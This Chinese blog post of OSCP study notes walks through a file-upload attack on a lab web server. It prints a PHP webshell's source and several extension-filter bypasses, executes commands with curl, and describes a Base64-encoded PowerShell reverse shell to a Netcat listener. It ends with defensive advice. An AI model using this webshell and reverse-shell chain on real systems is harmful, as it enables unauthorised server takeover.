当前位置: 首页 > news >正文

4-6〔O҉S҉C҉P҉ ◈ 研记〕❘ WEB应用攻击▸文件上传漏洞-A

    郑重声明: 本文所有安全知识与技术,仅用于探讨、研究及学习,严禁用于违反国家法律法规的非法活动。对于因不当使用相关内容造成的任何损失或法律责任,本人不承担任何责任。 如需转载,请注明出处且不得用于商业盈利。 

    💥👉点赞❤️ 关注🔔 收藏⭐️ 评论💬💥 
    更多文章戳👉
Whoami!-CSDN博客🚀

​​​


𖤐 现在,我们渐入佳境了,保持耐心,继续前行 ! 

𖤐 𝓝𝓸𝔀 𝔀𝓮'𝓻𝓮 𝓱𝓲𝓽𝓽𝓲𝓷𝓰 𝓸𝓾𝓻 𝓼𝓽𝓻𝓲𝓭𝓮, 𝓴𝓮𝓮𝓹 𝓹𝓪𝓽𝓲𝓮𝓷𝓽 𝓪𝓷𝓭 𝓴𝓮𝓮𝓹 𝓶𝓸𝓿𝓲𝓷𝓰 𝓯𝓸𝓻𝔀𝓪𝓻𝓭!  


→ 信息收集

→ 漏洞检测

→ 初始立足点▸常见WEB应用攻击▸-----我们在这儿~ 🔥🔥🔥

→ 权限提升 

→ 横向移动

→ 报告/分析

→ 教训/修复  

目录

1 常见WEB应用攻击

1.3 文件上传漏洞

1.3.1 上传可执行文件攻击

1.3.1.1 识别第一类文件上传漏洞

1.3.1.2 定位上传位置与上传机制

1.3.1.3 绕过上传的过滤机制

1.3.1.4 执行上传的Webshell(simple-backdoor.pHP)

1.Webshell代码详细分析

2.分析思路并执行攻击​编辑

1.3.1.5 从目标机器获取反向shell

1.攻击主机上启动Netcat监听器

2.构建PowerShell反向Shell代码

3.将Base64编码处理

①准备原始命令

②转换为字节数据

③Base64编码

4.通过Webshell执行反向Shell

5.收到反向shell连接

1.3.1.6 多语言Webshell应对策略

1.不同框架的Webshell位置

2.通用攻击流程

3.文件类型绕过进阶技巧

4.防护建议

💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬


1 常见WEB应用攻击 

      Web开发是当前IT领域需求最高的技能之一,然而多种安全漏洞在各类Web应用程序中反复出现。无论使用何种技术栈,这些常见漏洞都可能存在于已部署的应用程序中。主要攻击类型包括:

  • 📁 目录遍历 - 通过操纵文件路径访问未授权资源

  • 📄 文件包含漏洞 - 包含恶意文件执行代码

  • ⬆️ 文件上传攻击漏洞 - 上传恶意文件获取系统访问权---(本文)

  • ⚡ 命令注入 - 在输入中注入系统命令执行


1.3 文件上传漏洞

       文件上传漏洞攻击者通过利用应用程序的文件上传功能,上传恶意文件到服务器,从而获取系统权限或执行其他攻击。

🎯 漏洞分类

漏洞类型描述可能的攻击方式

第一类漏洞

上传的文件可被Web应用程序直接执行

(本文)上传PHP脚本并通过浏览器执行;

适用于各种服务器端脚本语言

第二类漏洞文件上传机制与其他漏洞结合利用

结合目录遍历:在文件上传请求中使用相对路径,并尝试覆盖类似authorized_keys的文件。

结合XML外部实体 (XXE)或跨站脚本 (XSS)攻击:当允许上传一个带有SVG文件类型的头像到个人资料时,可嵌入XXE攻击来显示文件内容甚至执行代码。

第三类漏洞依赖用户交互的攻击

上传含恶意宏的文档文件,诱导用户执行

例如:当发现一个求职申请的上传表单时,尝试上传一个带有恶意.docx格式的简历,并集成恶意宏,然后通过宏来执行。

⚠️ 本单元重点讨论前两种文件上传漏洞。


1.3.1 上传可执行文件攻击

1.3.1.1 识别第一类文件上传漏洞

识别方法

  • 内容管理系统(CMS):通常有头像上传、博客附件等功能

  • 企业网站:职业申请部分或特定业务功能中的上传机制

  • 全面枚举:不应跳过对网站所有功能的仔细检查


1.3.1.2 定位上传位置与上传机制

示例:Mountain Desserts应用程序:访问http://192.168.50.189/meteor/

测试步骤

  1. 发现图片上传功能,上图红框部分

  2. 尝试上传文本文件,验证限制范围

  3. 确认上传成功,说明不仅限于图片文件

  4. 此外:页面英文提示说要切换到windows,大胆推测目标服务器运行在windows上

如下示例:我们创建了一个test.txt的文本文件,并上传到Web应用程序,显示上传成功!


1.3.1.3 绕过上传的过滤机制

尝试上传之前使用的simple-backdoor.phpWebshell,提示PHP Webshell受阻

  • 系统提示:"不允许PHP文件"

  • 表明存在文件扩展名黑名单

由于不知道过滤器的具体实现方式,将使用试错的方法来寻找绕过它的方法。

绕过黑名单的常用方法

绕过技术示例原理
非常规PHP扩展名.phps.php7利用较少检查的合法PHP扩展名
大小写变异.pHP.PhP黑名单可能只检查小写扩展名
特殊字符添加.php..php利用系统处理文件名的特性
双重扩展名.jpg.php绕过简单的前缀/后缀检查

实战操作

  • simple-backdoor.php重命名为 simple-backdoor.pHP

  • 成功绕过过滤器,文件被上传至"uploads"目录


1.3.1.4 执行上传的Webshell(simple-backdoor.pHP

1.Webshell代码详细分析

kali@kali:/usr/share/webshells/php/$ cat simple-backdoor.php
...<?php
if(isset($_REQUEST['cmd'])){      # 把请求变量cmd的参数值echo "<pre>";$cmd = ($_REQUEST['cmd']);       # 放入system()函数去执行system($cmd);echo "</pre>";die;
}                  # 总的意思:cmd的命令在本地web服务器执行,并输出结果。?>                      Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd
...
步骤功能描述关键技术/函数作用说明
1. 接收命令检查$_REQUEST['cmd']参数是否存在$_REQUEST全局数组自动获取GET、POST和COOKIE中的cmd参数值
2. 执行命令在服务器上执行传入的系统命令system($cmd)函数直接调用操作系统命令并返回执行结果
3. 显示结果格式化输出命令执行结果echo "<pre>"echo "</pre>"使用HTML的<pre>标签保持输出格式清晰可读
4. 终止脚本命令执行完成后结束脚本运行die语句防止脚本继续执行,确保安全性和资源释放

🔹 $_REQUEST超级全局数组

  • 功能:自动收集HTTP请求参数(GET + POST + COOKIE)

  • 优势:无需区分请求方法,统一处理用户输入

  • 风险:安全性较低,建议在生产环境中使用更具体的$_GET$_POST

🔹 system()函数特性

  • 执行环境:在Web服务器进程权限下运行

  • 返回值:直接输出命令结果到浏览器

  • 权限依赖:受Web服务器用户权限限制

🔹 <pre>标签的作用

  • 格式保持:保留空格和换行符的原始格式

  • 可读性:使命令行输出更易于阅读和分析

  • 调试友好:便于攻击者查看完整的命令执行结果

🔹 die语句的重要性

  • 资源清理:立即终止脚本,释放系统资源

  • 安全控制:防止意外代码继续执行

  • 逻辑明确:明确标识脚本执行终点

2.分析思路并执行攻击

    ① 再次分析上图,输出显示我们的文件已上传到“uploads”目录,所以假设存在一个名为“uploads”的目录。再次提醒:/uploads是我们猜想的目录。
     ② 刚刚上传simple-backdoor.pHP,这里不要输错;然后带参数cmd,这个参数将在该webshell中执行。我们使用curl,并将查询命令dir作为Webshell的“cmd”参数。

kali@kali:~$ curl http://192.168.50.189/meteor/uploads/simple-backdoor.pHP?cmd=dir...
Directory of C:\xampp\htdocs\meteor\uploads
04/04/2022 06:23 AM <DIR> .
04/04/2022 06:23 AM <DIR> ..
04/04/2022 06:21 AM 328 simple-backdoor.pHP
04/04/2022 06:03 AM 15 test.txt2 File(s) 343 bytes2 Dir(s) 15,410,925,568 bytes free
...

结果确认

  • 成功显示目录列表

  • 确认获得远程命令执行能力


1.3.1.5 从目标机器获取反向shell

步骤操作工具/技术关键点
1. 准备阶段启动Netcat监听nc -nvlp 4444选择未被占用的端口
2. 载荷构建PowerShell代码Base64编码PowerShell + Base64避免特殊字符问题
3. 命令执行通过Webshell触发反向连接curl + URL编码正确格式化命令参数
4. 连接建立接收反向ShellNetcat监听器获得目标系统控制权

1.攻击主机上启动Netcat监听器

     在本地kali(攻击主机)上新的终端中启动一个Netcat监听器,在4444端口上捕获传入的反向shell。作用:准备接收目标机器的反向连接。

kali@kali:~$ nc -nvlp 4444
listening on [any] 4444 ...

2.构建PowerShell反向Shell代码

目标环境分析:基于上面的网页的XAMPP图标和系统提示,推测为Windows系统。因此构建PowerShell单行命令作为反向shell代码。
在本实验中,在kali上构建
PowerShell代码,使用pwsh(跨平台的命令行外壳和脚本语言)。

pwsh是PowerShell的缩写,它是一个跨平台的命令行外壳和脚本语言。PowerShell是微软为Windows操作系统开发的,但随着时间的推移它已经变得跨平台,可以在Linux和macOS上使用,在kali的命令行中输入pwsh来启动PowerShell 7的交互式shell。

        这段PowerShell代码是一个简单的反向Shell脚本,通常用于在远程机器上执行命令并将结果返回到攻击者的机器。它建立一个TCP连接,并执行来自连接的命令,连接到IP地址192.168.119.3上的端口4444,这个IP地址和端口是攻击者控制的机器。

3.将Base64编码处理

    由于反向shell单行命令中有几个特殊字符,需使用base64对字符串进行编码。在网络传输数据时,通常需要转换为字节流格式,便于通过协议传输。编码思路如下:

①准备原始命令

$Text = "PowerShell反向shell代码"
  • 把PowerShell命令存储在变量Text。

②转换为字节数据

$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)# 将一个文本字符串($Text)转换成Unicode编码格式的字节数组($Bytes)。
  • 将文本转换成计算机理解的二进制格式

  • 使用Unicode编码确保所有字符正确转换

  • 最终存储在变量Bytes中

详细说明:

[System.Text.Encoding]::Unicode:指定了想使用的编码格式,这里是 Unicode 编码。

    常见的 Unicode 编码形式包括 UTF-16 和 UTF-8,其中 UTF-16 是指每个字符使用 2 或 4 字节表示。以 "H" 为例,它的 Unicode 编码是 0x0048,在 UTF-16 编码中,占用 2 个字节(0x00 0x48)。

GetBytes($Text): System.Text.Encoding 类的一个方法,用来将字符串 $Text 的内容转换为一个字节数组。它会将每个字符按照指定的编码格式转换成对应的字节形式。

 

示例:
字符串 $Text:

$Text = "Hello"

执行以下代码时:

$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)

$Bytes 中的内容将是:字符 "H", "e", "l", "l", "o" 对应的 Unicode 编码字节。以 "H" 为例,它的 Unicode 编码是 0x0048,在 UTF-16 编码中,占用 2 个字节(0x00 0x48)。所以最终 $Bytes 数组可能包含类似的字节数组:

$Bytes = [0x00, 0x48, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x6F]

③Base64编码

$EncodedText = [Convert]::ToBase64String($Bytes)
  • 将二进制数据(字节数组)编码为安全传输的文本格式(Base64 编码字符串

  • 目的是:消除特殊字符,避免特殊字符在URL传输中被错误解析

详细说明:
[Convert] 是 .NET Framework 中的一个类,包含了多种转换方法。
ToBase64String 方法接受一个字节数组作为输入,并将其转换为一个 Base64 编码的字符串。

$EncodedText:这是存储结果的变量,最终它将包含 Base64 编码后的字符串。例如,Hello 字符串的 Base64 编码可能是 SGVsbG8=。

4.通过Webshell执行反向Shell

命令构造

  • 原始命令:powershell -enc <编码后的字符串>

  • URL编码后:powershell%20-enc%20<编码字符串>

详细说明:

在 PowerShell 中,-enc 参数通常用于通过 Base64 编码的命令行参数 启动 PowerShell 脚本或命令。它的全写是 -EncodedCommand,表示将一个 Base64 编码的命令传递给 PowerShell 执行。

执行方式

curl "http://192.168.50.189/meteor/uploads/simple-backdoor.pHP?cmd=powershell%20-enc%20<编码字符串>"

5.收到反向shell连接

      执行命令后,在刚刚“nc -nvlp 4444”的终端上接收到一个反向shell,我们成功控制了目标主机192.168.50.189。


1.3.1.6 多语言Webshell应对策略

1.不同框架的Webshell位置

      如果目标Web应用程序使用ASP而不是PHP,可以使用与前一个.pHP示例中相同的流程来获取代码执行,而不是上传PHP Webshell。幸运的是,Kali已经包含了各种Web Shell,位于/usr/share/webshells/目录中。已经提供的用于不同框架和语言的webshell。在kali中,不同框架的Webshell位置:

/usr/share/webshells/
├── asp/          # ASP语言Webshell
├── aspx/         # ASP.NET Webshell  
├── jsp/          # JSP Webshell
├── php/          # PHP Webshell
└── other/        # 其他语言

2.通用攻击流程

步骤操作说明
1. 识别技术栈分析目标使用的编程语言PHP、ASP、JSP等
2. 上传Webshell文件绕过文件类型过滤使用大小写变异、双重扩展名等技术
3. 定位Webshell找到可访问的存储路径通常为/uploads/、/images/等目录
4. 执行命令通过参数传递系统命令获得远程代码执行能力

3.文件类型绕过进阶技巧

重命名绕过法

  • 上传无害文件:如.txt文本文件

  • 通过应用功能重命名:利用网页的文件管理功能(若有),把文件格式改为.php

  • 直接访问新文件名:执行Webshell

其他绕过技术

  • 空字节注入shell.php%00.jpg

  • 特殊字符shell.php.shell.php

  • MIME类型欺骗:修改Content-Type头

4.防护建议

  • 使用白名单而非黑名单验证文件类型

  • 将上传文件存储在Web根目录外

  • 对上传文件进行重命名

  • 限制上传文件的执行权限

  • 使用病毒扫描检查上传内容


💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬

您的支持是我创作最大的动力!

 

http://www.dtcms.com/a/427419.html

相关文章:

  • 《五年级上册语文1-8单元习作详解》+五年级语文作文指导/各单元提纲/写作技巧+完整电子版可下载打印
  • 第二届管理与智能社会发展国际学术会议(MISD 2026)
  • SEO描述字数计算工具
  • 做网站找模板苏州市城市建设局网站
  • junit4中通过autowired注入和构造器注入混合模式下单测
  • 青羊区建设网站百度官方认证
  • 《决策树、随机森林与模型调优》
  • k8s-容器探针
  • PHP 数组 如何移动某个元素到某个元素前面
  • RynnVLA-001:利用人类演示来改进机器人操作
  • Linux操作系统课问题总结:从/proc目录到磁盘管理
  • Honeywell SS360NT磁性位置传感器—扫地机器人
  • 百度站长工具seo查询云南网页设计制作
  • php网站优点深圳市福田区
  • 开源代码uSNMP推荐
  • 鸿蒙:获取屏幕的刷新率、分辨率、监听截屏或录屏状态等
  • Springboot城市空气质量数据管理系统futcv(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。
  • 开发一个网站的费用两学一做11月答题网站
  • 微信小程序入门学习教程,从入门到精通,微信小程序常用API(上)——知识点详解 + 案例实战(4)
  • UNIX下C语言编程与实践14-UNIX 文件系统格式化:磁盘分区与文件系统创建原理
  • UNIX下C语言编程与实践16-UNIX 磁盘空间划分:引导块、超级块、i 节点区、数据区的功能解析
  • 互联网兼职做网站维护做ui设计用什么素材网站
  • ETL参数化技巧:如何避免写一堆重复任务?
  • git下载分支
  • Linux应用开发·Makefile菜鸟教程
  • ai智能化算法
  • 【专业词典】冰山模型
  • 第三方应用测试:【移动应用后端API自动化测试:Postman与Newman的集成】
  • 企业网站备案 淘宝客前端工程师主要做什么
  • 桌面预测类开发,桌面%雷达,信号预测%系统开发,基于python,tk,scikit-learn机器学习算法实现,桌面预支持向量机分类算法,CSV无数据库